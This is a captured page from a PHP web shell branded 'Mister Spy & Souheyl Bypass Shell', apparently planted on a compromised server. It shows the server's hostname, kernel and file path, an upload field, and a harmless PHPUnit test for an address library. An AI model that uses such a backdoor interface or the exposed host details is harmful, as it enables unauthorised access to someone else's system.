Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/store/vendor/commerceguys/addressing/tests/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/store/vendor/commerceguys/addressing/tests/UpdateHelperTest.php

<?php

namespace CommerceGuys\Addressing\Tests;

use CommerceGuys\Addressing\UpdateHelper;
use PHPUnit\Framework\TestCase;

/**
 * @coversDefaultClass \CommerceGuys\Addressing\UpdateHelper
 */
final class UpdateHelperTest extends TestCase
{
    /**
     * @covers ::splitRecipient
     */
    public function testSplitRecipient()
    {
        $expectedName = ['givenName' => 'Erzsébet', 'familyName' => 'Báthory'];
        $this->assertEquals($expectedName, UpdateHelper::splitRecipient('Báthory Erzsébet', 'HU'));
        $expectedName = ['givenName' => 'Matt', 'familyName' => 'Glaman'];
        $this->assertEquals($expectedName, UpdateHelper::splitRecipient('Matt Glaman', 'US'));
    }

    /**
     * @covers ::updateSubdivision
     * @covers ::loadSubdivisionUpdateMap
     */
    public function testUpdateSubdivision()
    {
        // No predefined subdivisions.
        $this->assertEquals('RS-RS', UpdateHelper::updateSubdivision('RS-RS'));
        // No dash.
        $this->assertEquals('California', UpdateHelper::updateSubdivision('California'));
        // Simple conversion.
        $this->assertEquals('CA', UpdateHelper::updateSubdivision('US-CA'));
        // Mapping.
        $this->assertEquals('Hokkaido', UpdateHelper::updateSubdivision('JP-01'));
        // Unknown.
        $this->assertEquals('JP-CA', UpdateHelper::updateSubdivision('JP-CA'));
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net